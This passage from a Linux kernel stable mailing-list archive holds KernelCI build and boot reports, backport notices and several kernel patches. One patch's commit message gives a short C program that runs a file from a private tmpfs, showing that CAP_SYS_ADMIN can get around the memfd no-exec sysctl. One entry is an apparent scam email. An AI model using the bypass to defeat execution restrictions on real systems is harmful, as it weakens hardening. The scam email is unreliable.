2023-08-21T22:39:49.672292 / # export SHELL=/bin/sh. /lava-11327419/environment
2023-08-21T22:39:49.674086
2023-08-21T22:39:52.394221 / # . /lava-11327419/environment/lava-11327419/bin/lava-test-runner /lava-11327419/1
2023-08-21T22:39:52.396338
2023-08-21T22:39:52.410837 / # /lava-11327419/bin/lava-test-runner /lava-11327419/1
2023-08-21T22:39:52.426869 + export 'TESTRUN_ID=1_bootrr'
2023-08-21T22:39:52.469871 + cd /lava-113274<8>[ 28.521044] <LAVA_SIGNAL_STARTRUN 1_bootrr 11327419_1.5.2.4.5>
... (39 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3e79eea5e896e0adc9623
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e79eea5e896e0adc9628
failing since 35 days (last pass: v6.1.38-393-gb6386e7314b4, first fail: v6.1.38-590-gce7ec1011187)
2023-08-21T22:40:56.582530 / # #
2023-08-21T22:40:56.683044 export SHELL=/bin/sh
2023-08-21T22:40:56.683156 #
2023-08-21T22:40:56.783683 / # export SHELL=/bin/sh. /lava-11327412/environment
2023-08-21T22:40:56.783798
2023-08-21T22:40:56.884291 / # . /lava-11327412/environment/lava-11327412/bin/lava-test-runner /lava-11327412/1
2023-08-21T22:40:56.884493
2023-08-21T22:40:56.896152 / # /lava-11327412/bin/lava-test-runner /lava-11327412/1
2023-08-21T22:40:56.964850 + export 'TESTRUN_ID=1_bootrr'
2023-08-21T22:40:56.964946 + cd /lava-1132741<8>[ 18.762111] <LAVA_SIGNAL_STARTRUN 1_bootrr 11327412_1.5.2.4.5>
... (11 line(s) more)
2 years, 4 months
- 1
- 0
Update/Info
by Dominique Ahkye
Hello,
I have a deal I would like to share with you. Email me for
details.
Regards
Dominique
eMail:dominikaleksei@yahoo.com
2 years, 4 months
- 1
- 0
stable-rc/linux-4.14.y build: 16 builds: 0 failed, 16 passed, 21 warnings (v4.14.323-40-gd4d51e77b58d)
by kernelci.org bot
stable-rc/linux-4.14.y build: 16 builds: 0 failed, 16 passed, 21 warnings (v4.14.323-40-gd4d51e77b58d)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-4.14.y/kernel/v4.14.323-4…
Tree: stable-rc
Branch: linux-4.14.y
Git Describe: v4.14.323-40-gd4d51e77b58d
Git Commit: d4d51e77b58d0c75103d4df5558535d0059ef324
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 6 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
allnoconfig (gcc-10): 3 warnings
i386_defconfig (gcc-10): 3 warnings
tinyconfig (gcc-10): 3 warnings
mips:
x86_64:
allnoconfig (gcc-10): 3 warnings
tinyconfig (gcc-10): 3 warnings
x86_64_defconfig (gcc-10): 3 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 3 warnings
Warnings summary:
7 ld: warning: creating DT_TEXTREL in a PIE
4 ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
4 Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
3 ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
3 arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
Section mismatches summary:
3 WARNING: modpost: Found 1 section mismatch(es).
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable-rc/linux-6.1.y build: 20 builds: 0 failed, 20 passed, 1 warning (v6.1.46-195-g5165f4e9738c4)
by kernelci.org bot
stable-rc/linux-6.1.y build: 20 builds: 0 failed, 20 passed, 1 warning (v6.1.46-195-g5165f4e9738c4)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-6.1.y/kernel/v6.1.46-195-…
Tree: stable-rc
Branch: linux-6.1.y
Git Describe: v6.1.46-195-g5165f4e9738c4
Git Commit: 5165f4e9738c48a220a13b073c6ccc24824aeb74
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
x86_64:
Warnings summary:
1 arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_sdcard_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
[PATCH 0/6] Backport rework of deadline bandwidth restoration for 6.1.y
by Qais Yousef
This is a backport of the series that fixes the way deadline bandwidth
restoration is done which is causing noticeable delay on resume path. It also
converts the cpuset lock back into a mutex which some users on Android too.
I lack the details but AFAIU the read/write semaphore was slower on high
contention.
Compile tested against some randconfig for different archs and tested against
android14-6.1 GKI kernel.
My testing is limited to resume path only; and general phone usage to make sure
nothing falls apart. Would be good to have some deadline specific testing done
too.
Based on v6.1.46
Original series:
https://lore.kernel.org/lkml/20230508075854.17215-1-juri.lelli@redhat.com/
Thanks!
--
Qais Yousef
Dietmar Eggemann (2):
sched/deadline: Create DL BW alloc, free & check overflow interface
cgroup/cpuset: Free DL BW in case can_attach() fails
Juri Lelli (4):
cgroup/cpuset: Rename functions dealing with DEADLINE accounting
sched/cpuset: Bring back cpuset_mutex
sched/cpuset: Keep track of SCHED_DEADLINE task in cpusets
cgroup/cpuset: Iterate only if DEADLINE tasks are present
include/linux/cpuset.h | 12 +-
include/linux/sched.h | 4 +-
kernel/cgroup/cgroup.c | 4 +
kernel/cgroup/cpuset.c | 246 ++++++++++++++++++++++++++--------------
kernel/sched/core.c | 41 +++----
kernel/sched/deadline.c | 67 ++++++++---
kernel/sched/sched.h | 2 +-
7 files changed, 246 insertions(+), 130 deletions(-)
--
2.34.1
2 years, 4 months
- 2
- 8
FAILED: patch "[PATCH] net: phy: broadcom: stub c45 read/write for 54810" failed to apply to 4.19-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.19-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.19.y
git checkout FETCH_HEAD
git cherry-pick -x 096516d092d54604d590827d05b1022c8f326639
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082133-mashing-flick-3a50@gregkh' --subject-prefix 'PATCH 4.19.y' HEAD^..
Possible dependencies:
096516d092d5 ("net: phy: broadcom: stub c45 read/write for 54810")
5a32fcdb1e68 ("net: phy: broadcom: Add statistics for all Gigabit PHYs")
1e2e61af1996 ("net: phy: broadcom: remove BCM5482 1000Base-BX support")
15772e4ddf3f ("net: phy: broadcom: remove use of ack_interrupt()")
4567d5c3eb9b ("net: phy: broadcom: implement generic .handle_interrupt() callback")
b0ed0bbfb304 ("net: phy: broadcom: add support for BCM54811 PHY")
9d42205036d4 ("net: phy: bcm54140: Make a bunch of functions static")
6937602ed3f9 ("net: phy: add Broadcom BCM54140 support")
123aff2a789c ("net: phy: broadcom: Add support for BCM53125 internal PHYs")
fe26821fa614 ("net: phy: broadcom: Wire suspend/resume for BCM54810")
0ececcfc9267 ("net: phy: broadcom: Allow BCM54810 to use bcm54xx_adjust_rxrefclk()")
75f4d8d10e01 ("net: phy: add Broadcom BCM84881 PHY driver")
b9bcb95315fe ("net: phy: broadcom: add 1000Base-X support for BCM54616S")
283da99af1d8 ("net: phy: broadcom: Add genphy_suspend and genphy_resume for BCM5464")
dcdecdcfe1fc ("net: phy: switch drivers to use dynamic feature detection")
5c3407abb338 ("net: phy: meson-gxl: add g12a support")
356d71e00d27 ("Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 096516d092d54604d590827d05b1022c8f326639 Mon Sep 17 00:00:00 2001
From: Justin Chen <justin.chen(a)broadcom.com>
Date: Sat, 12 Aug 2023 21:41:47 -0700
Subject: [PATCH] net: phy: broadcom: stub c45 read/write for 54810
The 54810 does not support c45. The mmd_phy_indirect accesses return
arbirtary values leading to odd behavior like saying it supports EEE
when it doesn't. We also see that reading/writing these non-existent
MMD registers leads to phy instability in some cases.
Fixes: b14995ac2527 ("net: phy: broadcom: Add BCM54810 PHY entry")
Signed-off-by: Justin Chen <justin.chen(a)broadcom.com>
Reviewed-by: Florian Fainelli <florian.fainelli(a)broadcom.com>
Link: https://lore.kernel.org/r/1691901708-28650-1-git-send-email-justin.chen@bro…
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
diff --git a/drivers/net/phy/broadcom.c b/drivers/net/phy/broadcom.c
index 59cae0d808aa..04b2e6eeb195 100644
--- a/drivers/net/phy/broadcom.c
+++ b/drivers/net/phy/broadcom.c
@@ -542,6 +542,17 @@ static int bcm54xx_resume(struct phy_device *phydev)
return bcm54xx_config_init(phydev);
}
+static int bcm54810_read_mmd(struct phy_device *phydev, int devnum, u16 regnum)
+{
+ return -EOPNOTSUPP;
+}
+
+static int bcm54810_write_mmd(struct phy_device *phydev, int devnum, u16 regnum,
+ u16 val)
+{
+ return -EOPNOTSUPP;
+}
+
static int bcm54811_config_init(struct phy_device *phydev)
{
int err, reg;
@@ -1103,6 +1114,8 @@ static struct phy_driver broadcom_drivers[] = {
.get_strings = bcm_phy_get_strings,
.get_stats = bcm54xx_get_stats,
.probe = bcm54xx_phy_probe,
+ .read_mmd = bcm54810_read_mmd,
+ .write_mmd = bcm54810_write_mmd,
.config_init = bcm54xx_config_init,
.config_aneg = bcm5481_config_aneg,
.config_intr = bcm_phy_config_intr,
2 years, 4 months
- 2
- 1
FAILED: patch "[PATCH] net: phy: broadcom: stub c45 read/write for 54810" failed to apply to 5.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.4.y
git checkout FETCH_HEAD
git cherry-pick -x 096516d092d54604d590827d05b1022c8f326639
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082132-jaundice-applaud-eb72@gregkh' --subject-prefix 'PATCH 5.4.y' HEAD^..
Possible dependencies:
096516d092d5 ("net: phy: broadcom: stub c45 read/write for 54810")
5a32fcdb1e68 ("net: phy: broadcom: Add statistics for all Gigabit PHYs")
1e2e61af1996 ("net: phy: broadcom: remove BCM5482 1000Base-BX support")
15772e4ddf3f ("net: phy: broadcom: remove use of ack_interrupt()")
4567d5c3eb9b ("net: phy: broadcom: implement generic .handle_interrupt() callback")
b0ed0bbfb304 ("net: phy: broadcom: add support for BCM54811 PHY")
9d42205036d4 ("net: phy: bcm54140: Make a bunch of functions static")
6937602ed3f9 ("net: phy: add Broadcom BCM54140 support")
123aff2a789c ("net: phy: broadcom: Add support for BCM53125 internal PHYs")
fe26821fa614 ("net: phy: broadcom: Wire suspend/resume for BCM54810")
0ececcfc9267 ("net: phy: broadcom: Allow BCM54810 to use bcm54xx_adjust_rxrefclk()")
75f4d8d10e01 ("net: phy: add Broadcom BCM84881 PHY driver")
b9bcb95315fe ("net: phy: broadcom: add 1000Base-X support for BCM54616S")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 096516d092d54604d590827d05b1022c8f326639 Mon Sep 17 00:00:00 2001
From: Justin Chen <justin.chen(a)broadcom.com>
Date: Sat, 12 Aug 2023 21:41:47 -0700
Subject: [PATCH] net: phy: broadcom: stub c45 read/write for 54810
The 54810 does not support c45. The mmd_phy_indirect accesses return
arbirtary values leading to odd behavior like saying it supports EEE
when it doesn't. We also see that reading/writing these non-existent
MMD registers leads to phy instability in some cases.
Fixes: b14995ac2527 ("net: phy: broadcom: Add BCM54810 PHY entry")
Signed-off-by: Justin Chen <justin.chen(a)broadcom.com>
Reviewed-by: Florian Fainelli <florian.fainelli(a)broadcom.com>
Link: https://lore.kernel.org/r/1691901708-28650-1-git-send-email-justin.chen@bro…
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
diff --git a/drivers/net/phy/broadcom.c b/drivers/net/phy/broadcom.c
index 59cae0d808aa..04b2e6eeb195 100644
--- a/drivers/net/phy/broadcom.c
+++ b/drivers/net/phy/broadcom.c
@@ -542,6 +542,17 @@ static int bcm54xx_resume(struct phy_device *phydev)
return bcm54xx_config_init(phydev);
}
+static int bcm54810_read_mmd(struct phy_device *phydev, int devnum, u16 regnum)
+{
+ return -EOPNOTSUPP;
+}
+
+static int bcm54810_write_mmd(struct phy_device *phydev, int devnum, u16 regnum,
+ u16 val)
+{
+ return -EOPNOTSUPP;
+}
+
static int bcm54811_config_init(struct phy_device *phydev)
{
int err, reg;
@@ -1103,6 +1114,8 @@ static struct phy_driver broadcom_drivers[] = {
.get_strings = bcm_phy_get_strings,
.get_stats = bcm54xx_get_stats,
.probe = bcm54xx_phy_probe,
+ .read_mmd = bcm54810_read_mmd,
+ .write_mmd = bcm54810_write_mmd,
.config_init = bcm54xx_config_init,
.config_aneg = bcm5481_config_aneg,
.config_intr = bcm_phy_config_intr,
2 years, 4 months
- 2
- 1
[merged mm-nonmm-stable] nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: nilfs2: fix WARNING in mark_buffer_dirty due to discarded buffer reuse
has been removed from the -mm tree. Its filename was
nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse.patch
This patch was dropped because it was merged into the mm-nonmm-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Subject: nilfs2: fix WARNING in mark_buffer_dirty due to discarded buffer reuse
Date: Fri, 18 Aug 2023 22:18:04 +0900
A syzbot stress test using a corrupted disk image reported that
mark_buffer_dirty() called from __nilfs_mark_inode_dirty() or
nilfs_palloc_commit_alloc_entry() may output a kernel warning, and can
panic if the kernel is booted with panic_on_warn.
This is because nilfs2 keeps buffer pointers in local structures for some
metadata and reuses them, but such buffers may be forcibly discarded by
nilfs_clear_dirty_page() in some critical situations.
This issue is reported to appear after commit 28a65b49eb53 ("nilfs2: do
not write dirty data after degenerating to read-only"), but the issue has
potentially existed before.
Fix this issue by checking the uptodate flag when attempting to reuse an
internally held buffer, and reloading the metadata instead of reusing the
buffer if the flag was lost.
Link: https://lkml.kernel.org/r/20230818131804.7758-1-konishi.ryusuke@gmail.com
Signed-off-by: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Reported-by: syzbot+cdfcae656bac88ba0e2d(a)syzkaller.appspotmail.com
Closes: https://lkml.kernel.org/r/0000000000003da75f05fdeffd12@google.com
Fixes: 8c26c4e2694a ("nilfs2: fix issue with flush kernel thread after remount in RO mode because of driver's internal error or metadata corruption")
Tested-by: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Cc: <stable(a)vger.kernel.org> # 3.10+
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
fs/nilfs2/alloc.c | 3 ++-
fs/nilfs2/inode.c | 7 +++++--
2 files changed, 7 insertions(+), 3 deletions(-)
--- a/fs/nilfs2/alloc.c~nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse
+++ a/fs/nilfs2/alloc.c
@@ -205,7 +205,8 @@ static int nilfs_palloc_get_block(struct
int ret;
spin_lock(lock);
- if (prev->bh && blkoff == prev->blkoff) {
+ if (prev->bh && blkoff == prev->blkoff &&
+ likely(buffer_uptodate(prev->bh))) {
get_bh(prev->bh);
*bhp = prev->bh;
spin_unlock(lock);
--- a/fs/nilfs2/inode.c~nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse
+++ a/fs/nilfs2/inode.c
@@ -1025,7 +1025,7 @@ int nilfs_load_inode_block(struct inode
int err;
spin_lock(&nilfs->ns_inode_lock);
- if (ii->i_bh == NULL) {
+ if (ii->i_bh == NULL || unlikely(!buffer_uptodate(ii->i_bh))) {
spin_unlock(&nilfs->ns_inode_lock);
err = nilfs_ifile_get_inode_block(ii->i_root->ifile,
inode->i_ino, pbh);
@@ -1034,7 +1034,10 @@ int nilfs_load_inode_block(struct inode
spin_lock(&nilfs->ns_inode_lock);
if (ii->i_bh == NULL)
ii->i_bh = *pbh;
- else {
+ else if (unlikely(!buffer_uptodate(ii->i_bh))) {
+ __brelse(ii->i_bh);
+ ii->i_bh = *pbh;
+ } else {
brelse(*pbh);
*pbh = ii->i_bh;
}
_
Patches currently in -mm which might be from konishi.ryusuke(a)gmail.com are
2 years, 4 months
- 1
- 0
Re: [PATCH 6.4 000/234] 6.4.12-rc1 review
by Ronald Warsow
Hi Greg
6.4.12-rc1
compiles, boots and runs here on x86_64
(Intel Rocket Lake, i5-11400)
Thanks
Tested-by: Ronald Warsow <rwarsow(a)gmx.de>
2 years, 4 months
- 1
- 0
[merged mm-stable] memfd-replace-ratcheting-feature-from-vmmemfd_noexec-with-hierarchy.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: memfd: replace ratcheting feature from vm.memfd_noexec with hierarchy
has been removed from the -mm tree. Its filename was
memfd-replace-ratcheting-feature-from-vmmemfd_noexec-with-hierarchy.patch
This patch was dropped because it was merged into the mm-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Aleksa Sarai <cyphar(a)cyphar.com>
Subject: memfd: replace ratcheting feature from vm.memfd_noexec with hierarchy
Date: Mon, 14 Aug 2023 18:41:00 +1000
This sysctl has the very unusual behaviour of not allowing any user (even
CAP_SYS_ADMIN) to reduce the restriction setting, meaning that if you were
to set this sysctl to a more restrictive option in the host pidns you
would need to reboot your machine in order to reset it.
The justification given in [1] is that this is a security feature and thus
it should not be possible to disable. Aside from the fact that we have
plenty of security-related sysctls that can be disabled after being
enabled (fs.protected_symlinks for instance), the protection provided by
the sysctl is to stop users from being able to create a binary and then
execute it. A user with CAP_SYS_ADMIN can trivially do this without
memfd_create(2):
% cat mount-memfd.c
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/mount.h>
#define SHELLCODE "#!/bin/echo this file was executed from this totally private tmpfs:"
int main(void)
{
int fsfd = fsopen("tmpfs", FSOPEN_CLOEXEC);
assert(fsfd >= 0);
assert(!fsconfig(fsfd, FSCONFIG_CMD_CREATE, NULL, NULL, 2));
int dfd = fsmount(fsfd, FSMOUNT_CLOEXEC, 0);
assert(dfd >= 0);
int execfd = openat(dfd, "exe", O_CREAT | O_RDWR | O_CLOEXEC, 0782);
assert(execfd >= 0);
assert(write(execfd, SHELLCODE, strlen(SHELLCODE)) == strlen(SHELLCODE));
assert(!close(execfd));
char *execpath = NULL;
char *argv[] = { "bad-exe", NULL }, *envp[] = { NULL };
execfd = openat(dfd, "exe", O_PATH | O_CLOEXEC);
assert(execfd >= 0);
assert(asprintf(&execpath, "/proc/self/fd/%d", execfd) > 0);
assert(!execve(execpath, argv, envp));
}
% ./mount-memfd
this file was executed from this totally private tmpfs: /proc/self/fd/5
%
Given that it is possible for CAP_SYS_ADMIN users to create executable
binaries without memfd_create(2) and without touching the host filesystem
(not to mention the many other things a CAP_SYS_ADMIN process would be
able to do that would be equivalent or worse), it seems strange to cause a
fair amount of headache to admins when there doesn't appear to be an
actual security benefit to blocking this. There appear to be concerns
about confused-deputy-esque attacks[2] but a confused deputy that can
write to arbitrary sysctls is a bigger security issue than executable
memfds.
/* New API */
The primary requirement from the original author appears to be more based
on the need to be able to restrict an entire system in a hierarchical
manner[3], such that child namespaces cannot re-enable executable memfds.
So, implement that behaviour explicitly -- the vm.memfd_noexec scope is
evaluated up the pidns tree to &init_pid_ns and you have the most
restrictive value applied to you. The new lower limit you can set
vm.memfd_noexec is whatever limit applies to your parent.
Note that a pidns will inherit a copy of the parent pidns's effective
vm.memfd_noexec setting at unshare() time. This matches the existing
behaviour, and it also ensures that a pidns will never have its
vm.memfd_noexec setting *lowered* behind its back (but it will be raised
if the parent raises theirs).
/* Backwards Compatibility */
As the previous version of the sysctl didn't allow you to lower the
setting at all, there are no backwards compatibility issues with this
aspect of the change.
However it should be noted that now that the setting is completely
hierarchical. Previously, a cloned pidns would just copy the current
pidns setting, meaning that if the parent's vm.memfd_noexec was changed it
wouldn't propoagate to existing pid namespaces. Now, the restriction
applies recursively. This is a uAPI change, however:
* The sysctl is very new, having been merged in 6.3.
* Several aspects of the sysctl were broken up until this patchset and
the other patchset by Jeff Xu last month.
And thus it seems incredibly unlikely that any real users would run into
this issue. In the worst case, if this causes userspace isues we could
make it so that modifying the setting follows the hierarchical rules but
the restriction checking uses the cached copy.
[1]: https://lore.kernel.org/CABi2SkWnAgHK1i6iqSqPMYuNEhtHBkO8jUuCvmG3RmUB5TKHJw…
[2]: https://lore.kernel.org/CALmYWFs_dNCzw_pW1yRAo4bGCPEtykroEQaowNULp7svwMLjOg…
[3]: https://lore.kernel.org/CALmYWFuahdUF7cT4cm7_TGLqPanuHXJ-hVSfZt7vpTnc18DPrw…
Link: https://lkml.kernel.org/r/20230814-memfd-vm-noexec-uapi-fixes-v2-4-7ff9e3e1…
Fixes: 105ff5339f49 ("mm/memfd: add MFD_NOEXEC_SEAL and MFD_EXEC")
Signed-off-by: Aleksa Sarai <cyphar(a)cyphar.com>
Cc: Dominique Martinet <asmadeus(a)codewreck.org>
Cc: Christian Brauner <brauner(a)kernel.org>
Cc: Daniel Verkamp <dverkamp(a)chromium.org>
Cc: Jeff Xu <jeffxu(a)google.com>
Cc: Kees Cook <keescook(a)chromium.org>
Cc: Shuah Khan <shuah(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
include/linux/pid_namespace.h | 23 ++++++++++++++++++++++-
kernel/pid.c | 3 +++
kernel/pid_namespace.c | 6 +++---
kernel/pid_sysctl.h | 30 +++++++++++++-----------------
mm/memfd.c | 3 ++-
5 files changed, 43 insertions(+), 22 deletions(-)
--- a/include/linux/pid_namespace.h~memfd-replace-ratcheting-feature-from-vmmemfd_noexec-with-hierarchy
+++ a/include/linux/pid_namespace.h
